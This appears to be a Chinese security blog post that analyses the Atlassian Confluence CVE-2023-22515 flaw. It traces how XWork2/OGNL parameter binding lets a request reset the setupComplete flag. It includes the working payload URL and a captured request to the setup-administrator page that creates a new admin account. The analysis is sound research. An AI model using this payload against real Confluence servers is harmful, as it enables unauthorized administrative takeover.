October 16, 2023

Atlassian Confluence CVE-2023-22515 深入浅出

参考:
对 Confluence CVE-2023-22515 的一点分析
Struts2 系列漏洞调试总结 | 素十八
image.png
image.png
先贴一张su18师傅总结的文章图片,建议熟读以及背诵

漏洞成因

对 Confluence CVE-2023-22515 的一点分析
pen4uin师傅在微信公众号已经发过一篇浅析文章,而我当时也是差一点就自己复现成功了,但由于对Xworks2这个框架的特性不熟悉,所以卡在最后一步。
这个漏洞是一个类似于变量覆盖的漏洞,我们可以覆盖系统是否已经完成安装的标识符吗,这样就可以让他重新安装设置一次管理员了。



图都是偷的,因为我懒。根据diff不难发现对setter和getter进行了修复,然后再根据前言中的流程图,在拜读完su18师傅的stucts2全解析文章后,我对这个框架又有了一些理解,其中ParametersInterceptor就是我们心心念念的漏洞点了。我们现在只需要找到可以触发这个监听器的路由即可。
根据企鹅师傅的文章我们知道了个思路,就是寻找有defaultstackopensearch这两个stack配置的action,这样即可触发上述的监听器。

漏洞分析

思路分层

Xworks2 对于 interceptor的处理比较有特性,当我们传入一个参数时,他会通过action及其父类的setter或者getter方法对该属性进行赋值。action有一个setMember方法,我们在url只需要传入一个uri?member=1就可以对member属性进行赋值。个人认为这还是比较危险的。万一存在JNDI注入之类的呢。
image.png
在这个包下有stucts.xml文件,我们直接CTRL+F搜索即可了。image.png
有很多action,我这里就随便选了一个NotPermittedAction当做分析了,那我们来捋一下思路。

企鹅师傅的思路在响应title之后可以逆推分析,最终需要污染setupComplte属性
image.png
setupCompletecom.atlassian.config.ApplicationConfiguration类的属性里。那我们现在需要做的就是怎么得到config类,回想一下补丁中还有个BootstrapStatusProviderImpl
image.png
他又刚好有个getter可以获取config,那么我们还需要找个类BootstrapStatusProvider
image.png
image.png
此处省略一万次继承,最后到了ConfluenceActionSupport
image.png
这不就又刚好获取到了BootstrapStatusProvider吗。所以我觉得这就是妙处所在,但是我一开始是不知道Xworks2有关setter和getter的特新的,所以让我们好好调试一番。

Xworks2特性分析

首先给出我们的payload
[http://localhost:8090/notpermitted.action?bootstrapStatusProvider.applicationConfig.setupComplete=false](http://localhost:8090/notpermitted.action?bootstrapStatusProvider.applicationConfig.setupComplete=false)
然后我们直接debug给在SafeParametersInterceptor的doIntercept方法上。
image.png
然后访问payload开始操作。
image.png
进入方法内部
image.png
首先获取了当前路由所处的action,然后初始化stack,进入setParameters方法内部
image.png
首先会进行一个黑名单检测,这个isAcceptableParameter方法主要的功能是检测传入的参数的键的长度是否长于100,是否含有黑名单字符。我们这里只是单纯的变量污染所以很单纯不会被检测到。
image.png
然后就进入newstack的setparam方法去了,这个newstack实际上就是一个Ognl对象。
image.png
OgnlValueStack.setValue
image.png
image.png
在这里真正调用OgnlUtil的setvalue方法,假如这里没有上面的黑名单,那肯定存在一个OGNL的RCE漏洞了。
image.png
调用Ognl.setvalue,到这里就是纯粹的Ognl的AST语法了。
image.png
从这里的setvalue来看已经有一点雏形了,这里root就是对应的action,value就是我们设置的那个setup属性。
image.png
image.png
经过不断的迭代,在setValueBody方法内,我们会获取第一个属性bootstrapStatusProvider
image.png
image.png
image.png
image.png
然后此处省略一万步的迭代。
image.png
随之进入的是OgnlRuntime方法内部
image.png
getProperty
image.png
最后在OgnlRuntime.getProperty方法下获取到了BootStrap对象。
image.png
反射调用getter方法获取到对象
image.png
之后的流程也就一模一样了。我就不继续跟进咯。

漏洞复现

在输入完payload后,我们用burpsuite抓个包。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /setup/setupadministrator.action HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: metabase.DEVICE=b4a0ad02-dacb-4b2a-a39d-cf6a2d613533; _ga=GA1.1.1767171371.1694851001; JSESSIONID=7B51C7B9DC7C3C1811396FA7B0892617
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


已经可以在这个界面设置一个新的admin了。

RCE?

RCE思路目前是没发现,但是已经有授权后rce的漏洞暴露出来了,猜测还是OGNL注入,是一个需要登录的路由,在那没做过滤什么之类的。
不管了摆了,等解析放出来学一手呢

总结

结合上述的调试分析,可以大致的了解OGNL中的AST树状调用,是如何一层层的去调用的。setter/getter的特性还是挺耐人寻味的捏,所以stucts2也得找个时间跟su18师傅的文章过一遍,不然感觉一片雾

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CVE